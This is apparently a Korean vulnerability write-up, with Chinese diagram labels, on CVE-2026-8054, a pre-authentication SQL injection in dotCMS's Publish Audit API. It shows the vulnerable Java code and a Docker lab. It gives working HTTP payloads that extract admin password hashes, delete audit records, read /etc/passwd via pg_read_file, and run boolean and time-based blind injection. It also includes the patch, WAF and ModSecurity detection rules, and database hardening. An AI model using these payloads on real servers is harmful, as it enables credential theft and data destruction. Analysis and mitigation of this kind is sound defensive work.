
dotCMS 인증 전 SQL 인젝션
CVE-2026-8054는 dotCMS Core의 퍼블리시 감사 API(Publish Audit API)에 존재하는 고위험 인증 불필요 SQL 인젝션 취약점(Pre-auth SQL Injection)입니다. 이 취약점은 공식적으로 보안 이벤트 SI-75로 추적되었으며, 2026년 5월 말에 공식적으로 등록 및 공개되었습니다. 공격자가 별도의 계정 권한 없이 원격으로 트리거할 수 있기 때문에 잠재적 피해가 매우 심각합니다.
| 속성 | 값 |
|---|
| CVE 번호 | CVE-2026-8054 |
| 공식 추적 | SI-75 |
| 취약점 유형 | SQL 인젝션 (CWE-89) |
| 영향 컴포넌트 | dotCMS Core - Publish Audit API |
| CVSS 점수 | 10.0 (Critical) |
| 영향 받는 버전 | 25.11.04-1 ~ 26.04.28-02 |
| 수정 버전 | 26.04.28-03 |
| 공격 방식 | 원격 비인증 SQL 인젝션 (Pre-auth) |
| 필요 권한 | 인증 불필요 |
| 사용자 상호작용 | 없음 |
| LTS 버전 영향 | 영향 없음 (감사 코드 브랜치가 LTS 트리에 백포트되지 않음) |
취약점은 /api/auditPublishing/get 및 /api/auditPublishing/getAll 두 REST 엔드포인트에 존재합니다. 이 엔드포인트들은 클라이언트가 입력한 요청 파라미터를 받을 때 필터링이나 파라미터 바인딩 없이, 문자열 연결을 통해 동적으로 SQL 쿼리문을 구성합니다.
더 치명적인 점은 dotCMS가 감사와 관련된 이러한 민감한 백엔드 엔드포인트에 인증 및 권한 상승 검사를 완전히 누락했다는 것입니다. 이는 외부 네트워크의 자격 증명이 없는 원격 공격자가 시스템에 접근하기만 하면 해당 엔드포인트에 악성 Payload가 포함된 HTTP 요청을 직접 보낼 수 있음을 의미합니다.
파일 경로: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
취약점은 두 개의 REST API 엔드포인트에 존재합니다:
GET /api/auditPublishing/get/{bundleId} - 단일 퍼블리시 감사 상태 조회POST /api/auditPublishing/getAll - 복수 퍼블리시 감사 상태 조회핵심 문제: 수정 전 이 두 엔드포인트는 어떤 인증도 필요하지 않으며, 모든 익명 사용자가 직접 접근할 수 있습니다.
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【취약점】인증 검사 없음! 바로 백엔드 API 호출
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
파일 경로: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
메서드: getPublishAuditStatuses(List<String> bundleIds) (224~245행)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【취약점 1】사용자 입력을 SQL 문에 직접 연결
// 단일 따옴표로 감싸기만 하고, 파라미터화나 이스케이프 처리 없음
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // 위험: 문자열 연결
.collect(Collectors.toList());
// 【취약점 2】String.format을 사용하여 SQL 구성, 사용자 입력이 직접 삽입됨
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
SQL 상수 (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph 外部攻击者
A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
end
subgraph Application Layer
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|调用| D[PublishAuditAPI]
D -->|调用| E[PublishAuditAPIImpl]
E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
F -->|拼接参数| G[SQL构造<br/>String.format]
end
subgraph Technology Layer
G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|执行| I[SQL执行]
I -->|执行注入SQL| J[PostgreSQL/MySQL]
end
subgraph 漏洞点
K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333오염 전파: 사용자 입력 → REST API → 백엔드 처리 → SQL 구성 → 데이터베이스 실행 핵심 결함: 인증 없음 + 파라미터화 없음 = 완전히 제어 가능한 SQL 인젝션
사용자 입력이 bundleIds = ["x' OR '1'='1"] 라고 가정합니다.
정상 SQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
인젝션 후 SQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
'1'='1'은 항상 참이므로 이 쿼리는 테이블의 모든 레코드를 반환합니다.
graph TD
subgraph 输入对比
A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph 数据库执行
B -->|执行| E[数据库]
D -->|执行| E
end
subgraph 结果对比
E -->|返回| F[正常结果<br/>1条记录]
E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]이 취약점을 성공적으로 악용한 공격자는 데이터베이스 시스템 사용자의 컨텍스트에서 임의의 SQL 명령을 실행할 수 있어 다음과 같은 심각한 결과를 초래합니다:
graph TD
subgraph 攻击影响分析
subgraph 数据机密性
A[管理员密码哈希]
B[用户凭证]
C[重置Token]
D[系统配置]
end
subgraph 数据完整性
E[网站内容]
F[用户角色权限]
G[审计日志]
end
subgraph 系统可用性
H[DROP TABLE]
I[DELETE数据]
J[UPDATE数据]
end
subgraph 权限提升
K[管理员接管]
L[文件系统读写]
M[远程代码执行]
end
end
N[SQL注入漏洞] -->|泄露| A
N -->|泄露| B
N -->|泄露| C
N -->|篡改| E
N -->|篡改| F
N -->|执行| H
N -->|实现| K
N -->|实现| L
O[CVSS 10.0 Critical] -.->|评估| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fff공격자는 SQL 인젝션을 통해 핵심 데이터베이스 테이블을 추출하여 다음 정보를 획득할 수 있습니다:
공격 Payload 예시 – 관리자 비밀번호 획득:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
공격자는 데이터베이스 내에서 다음 항목을 임의로 수정, 삽입 또는 삭제할 수 있습니다:
공격 Payload 예시 – 감사 레코드 삭제:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
백엔드가 연결된 데이터베이스 유형(PostgreSQL, MySQL 등) 및 구성 권한에 따라 공격자는 인젝션 포인트를 통해 다음 단계로 나아갈 수 있습니다:
공격 Payload 예시 – PostgreSQL 파일 읽기:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
| 차원 | 평가 |
|---|---|
| 공격 벡터 | 네트워크 원격 (Network) |
| 공격 복잡도 | 낮음 (Low) |
| 사전 조건 | 없음 (None) |
| 사용자 상호작용 | 없음 (None) |
| 영향 범위 | 변경됨 (Changed) |
| 기밀성 영향 | 높음 (High) |
| 무결성 영향 | 높음 (High) |
| 가용성 영향 | 높음 (High) |
graph TB
subgraph Docker环境架构
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>bridge网络]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|暴露| E
A -->|暴露| F
B -->|暴露| G
C -->|暴露| H
A -->|连接数据库| B
A -->|连接搜索引擎| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333
note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]Docker Compose를 사용하여 취약점 환경 구성:
docker-compose.yml:
services:
dotcms:
build: .
container_name: dotcms-vuln
ports:
- "8080:8080"
- "8443:8443"
environment:
- DOT_INITIAL_ADMIN_PASSWORD=admin
- DOT_DOTCMS_URL=http://localhost:8080
- DOT_DB_HOST=dotcms-db
- DOT_DB_PORT=5432
- DOT_DB_NAME=dotcms
- DOT_DB_USERNAME=dotcms
- DOT_DB_PASSWORD=dotcms
- DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
- DOT_DB_DRIVER=org.postgresql.Driver
- DOT_ES_ENDPOINTS=http://dotcms-es:9200
- DOT_ES_HOSTNAME=dotcms-es
depends_on:
dotcms-db:
condition: service_healthy
dotcms-es:
condition: service_started
dotcms-db:
image: postgres:15
environment:
- POSTGRES_DB=dotcms
- POSTGRES_USER=dotcms
- POSTGRES_PASSWORD=dotcms
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dotcms"]
interval: 5s
timeout: 5s
retries: 20
dotcms-es:
image: elasticsearch:7.17.24
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
Dockerfile:
FROM dotcms/dotcms:25.11.04-1
시작 명령어:
docker compose up -d
# dotCMS 초기화 완료 대기 (약 2~3분)
# 상태 확인: docker compose logs -f dotcms
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11
["test-id"]
응답: 200 OK, 빈 배열 [] 반환 → 엔드포인트가 인증 없이 접근 가능함을 증명.
불리언 블라인드 원리: HTTP 응답 상태 코드의 차이를 관찰하여 인젝션 조건의 참/거짓을 판단.
graph TD
subgraph 布尔盲注流程
A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
B -->|真条件| C["真条件 and 1=1"]
B -->|假条件| D["假条件 and 1=2"]
C -->|返回数据| E["404 Not Found 有数据 NPE"]
D -->|不返回数据| F["200 OK + 空数组 无数据正常"]
E -->|分析| G["分析响应"]
F -->|分析| G
G -->|推断条件真假| H["结论推断"]
end
style C fill:#51cf66,stroke:#333
style D fill:#ff6b6b,stroke:#333,color:#fff
style E fill:#ff6b6b,stroke:#333,color:#fff
style F fill:#51cf66,stroke:#333
note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]참 조건 테스트 (and 1=1):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=1--'"]
응답: 404 Not Found
거짓 조건 테스트 (and 1=2):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=2--'"]
응답: 200 OK, [] 반환
SQL 실행 분석:
-- 참 조건: bundle_id 일치 AND 1=1이 참 -> 데이터 반환 -> 코드 NPE 처리 -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')
-- 거짓 조건: bundle_id 일치하지만 1=2가 거짓 -> 데이터 미반환 -> 빈 결과 정상 처리 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')
응답 차이 원리:
| 조건 | SQL 결과 | 코드 동작 | HTTP 응답 |
|---|---|---|---|
and 1=1 (참) | 일치 레코드 반환 | turnIntoPublishAuditStatus() 처리 시 NullPointerException | 404 |
and 1=2 (거짓) | 레코드 미반환 | 빈 리스트 정상 반환 | 200 + [] |
결론: 404/200 응답 차이를 통해 공격자는 데이터베이스의 임의 정보(테이블명, 필드값, 비밀번호 해시 등)를 비트 단위로 추론할 수 있습니다.
시간 블라인드 원리: 응답 시간의 차이를 관찰하여 인젝션 조건의 참/거짓을 판단.
graph TD
subgraph 时间盲注流程
A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
B -->|传递| C["延时Payload SELECT pg_sleep N"]
C -->|执行SQL| D["PostgreSQL"]
D -->|调用| E["pg_sleep N 延时执行"]
E -->|延时N秒| F["测量响应时间"]
F -->|对比基线| G["分析延时差异"]
G -->|推断条件真假| H["结论推断"]
end
style C fill:#51cf66,stroke:#333
style E fill:#51cf66,stroke:#333
note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]3초 지연 테스트:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(3))::text='t'--'"]

응답: 200 OK, 소요 시간 3.02초
5초 지연 테스트:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(5))::text='t'--'"]
응답: 200 OK, 소요 시간 5.01초
SQL 실행 분석:
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')
응답 시간 비교:
| Payload | 예상 지연 | 실제 소요 시간 | 결과 |
|---|---|---|---|
| 정상 요청 | 0초 | 0.03초 | ✅ |
| pg_sleep(3) | 3초 | 3.02초 | ✅ 지연 성공 |
| pg_sleep(5) | 5초 | 5.01초 | ✅ 지연 성공 |
결론: 응답 지연을 제어함으로써 공격자는 응답이 없는 환경에서도 데이터베이스 정보를 비트 단위로 추론할 수 있습니다.
graph TD
subgraph 修复方案
subgraph 代码修复
A[参数化查询<br/>使用占位符]
B[认证增强<br/>Push Publish Token]
C[输入验证<br/>null/空检查]
end
subgraph 修复效果
D[防止SQL注入]
E[限制未授权访问]
F[防止空指针异常]
end
G[PR #35553]
H[修复版本<br/>26.04.28-03]
end
G -->|实现| A
G -->|实现| B
G -->|实现| C
A -->|参数绑定| D
B -->|强制认证| E
C -->|空值处理| F
H -->|包含| G
style G fill:#51cf66,stroke:#333
style H fill:#51cf66,stroke:#333
note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]수정 전 (취약 코드):
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'")
.collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));
수정 후 (안전 코드):
// 추가: null 검사
if (bundleIds == null || bundleIds.isEmpty()) {
return Collections.emptyList();
}
// 파라미터화된 쿼리 플레이스홀더 사용
final String placeholders = bundleIds.stream()
.map(id -> "?")
.collect(Collectors.joining(","));
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam); // 파라미터 바인딩, SQL 인젝션 방지
수정 전:
public Response getAll(List<String> bundleIds) {
// 인증 검사 없음
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
수정 후:
public Response getAll(final List<String> bundleIds,
@Context final HttpServletRequest request) {
// 추가: Push Publish Token 인증 검사
final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);
final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);
if (failResponse.isPresent()) {
return failResponse.get(); // 401 Unauthorized 반환
}
// ...
}
| 수정 조치 | 설명 |
|---|---|
| 파라미터화된 쿼리 | ? 플레이스홀더로 문자열 연결을 대체, 데이터베이스가 파라미터 이스케이프를 자동 처리하여 SQL 인젝션을 근본적으로 방지 |
| 인증 강화 | 요청에 유효한 Push Publish Token을 요구, publishing-queue 컴포넌트 권한이 있는 로그인한 백엔드 사용자만 접근 가능하도록 제한 |
| 입력 검증 | null 및 빈 리스트 검사 추가로 NullPointerException 방지 |
수정 버전으로 즉시 업그레이드할 수 없는 경우 다음과 같은 임시 완화 조치를 취할 수 있습니다:
graph TD
subgraph 防护措施
subgraph 网络层
A[WAF规则拦截<br/>阻止/api/auditPublishing/]
B[防火墙限制<br/>仅允许内网访问]
end
subgraph 应用层
C[Nginx防护规则<br/>location拦截]
D[ModSecurity规则<br/>SQL注入检测]
end
subgraph 数据层
E[数据库权限限制<br/>最小权限原则]
F[限制高危函数<br/>pg_read_file等]
end
G[升级到26.04.28-03<br/>根本解决方案]
end
A -.->|临时替代| G
B -.->|临时替代| G
C -.->|临时替代| G
E -.->|降低影响| G
style G fill:#51cf66,stroke:#333
style A fill:#ffd43b,stroke:#333
style B fill:#ffd43b,stroke:#333
style C fill:#ffd43b,stroke:#333
style D fill:#ffd43b,stroke:#333
note1[优先级: P0 - 立即升级<br/>其他措施为临时缓解方案]웹 애플리케이션 방화벽(WAF) 또는 리버스 프록시에서 액세스 제어 정책을 구성하여 외부 네트워크에서 /api/auditPublishing/get 및 /api/auditPublishing/getAll 경로로의 요청을 직접 차단 또는 거부합니다.
# /etc/nginx/conf.d/dotcms-security.conf
# Publish Audit API 요청 차단
location ~ ^/api/auditPublishing/(get|getAll) {
# 403 금지 반환
return 403 "Forbidden: Endpoint blocked for security reasons";
add_header Content-Type text/plain;
}
# 또는 더 완화된 방식으로, 내부 네트워크만 허용
location ~ ^/api/auditPublishing/(get|getAll) {
# 내부 IP 대역 허용
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
# 기타 모든 출처 거부
deny all;
}
# SQL 인젝션 특징에 대한 WAF 규칙
location / {
# 일반적인 SQL 인젝션 특징 탐지
if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
return 403;
}
# 작은따옴표 인젝션 탐지
if ($request_uri ~* "'") {
return 403;
}
proxy_pass http://dotcms_backend;
}
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf
# 규칙 1: 취약 엔드포인트 접근 차단
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
"id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"
# 규칙 2: SQL 인젝션 특징 탐지
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
"id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"
dotCMS가 데이터베이스에 연결하는 계정이 최소 권한 원칙을 따르도록 확인:
-- PostgreSQL 권한 제한 예시
-- 제한된 사용자 생성
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';
-- 필요한 테이블 권한만 부여
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;
-- 테이블 생성/삭제 금지
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;
-- 시스템 명령 실행 금지
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;
-- 파일 읽기 금지
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;
# iptables를 사용하여 API 포트 접근 제한
# 내부 네트워크만 8080 포트 허용
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
graph TD
subgraph 漏洞总结
subgraph 根因分析
A[缺乏输入验证<br/>用户输入直接拼接SQL]
B[缺乏认证<br/>API无需认证即可访问]
C[缺乏参数化<br/>字符串拼接而非参数查询]
end
subgraph CVSS评估
D[CVSS 10.0<br/>Critical]
E[网络远程]
F[低复杂度]
G[无需认证]
end
subgraph 修复建议
H[P0: 立即升级<br/>26.04.28-03]
I[P1: WAF拦截<br/>临时缓解]
J[P2: 数据库权限<br/>降低影响]
end
end
A -->|导致| D
B -->|导致| D
C -->|导致| D
H -->|解决| A
H -->|解决| B
H -->|解决| C
I -.->|临时替代| H
J -.->|降低风险| H
style D fill:#ff6b6b,stroke:#333,color:#fff
style H fill:#51cf66,stroke:#333
note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]
| 우선순위 | 조치 | 설명 |
|---|---|---|
| P0 - 즉시 | dotCMS 26.04.28-03 이상 버전으로 업그레이드 | 공식 수정 버전, 근본 문제 해결 |
| P1 - 긴급 | WAF 규칙 구성하여 차단 | 임시 완화 조치, 공격 트래픽 차단 |
| P2 - 중요 | 데이터베이스 권한 제한 | 취약점 악용 시 영향 범위 축소 |
| P3 - 권장 | 다른 엔드포인트 보안 감사 | 유사 문제 존재 여부 확인 |
공식적으로 LTS(장기 지원) 버전은 영향 없음이라고 밝혔습니다. 취약한 감사 코드 브랜치가 LTS 트리에 백포트된 적이 없기 때문입니다. LTS 버전을 사용하는 사용자는 긴급 업그레이드가 필요하지 않습니다.
보고서 생성 시간: 2026-06-08 분석 도구: Docker, curl, PostgreSQL 취약점 버전: dotCMS 25.11.04-1 수정 버전: dotCMS 26.04.28-03 (PR #35553)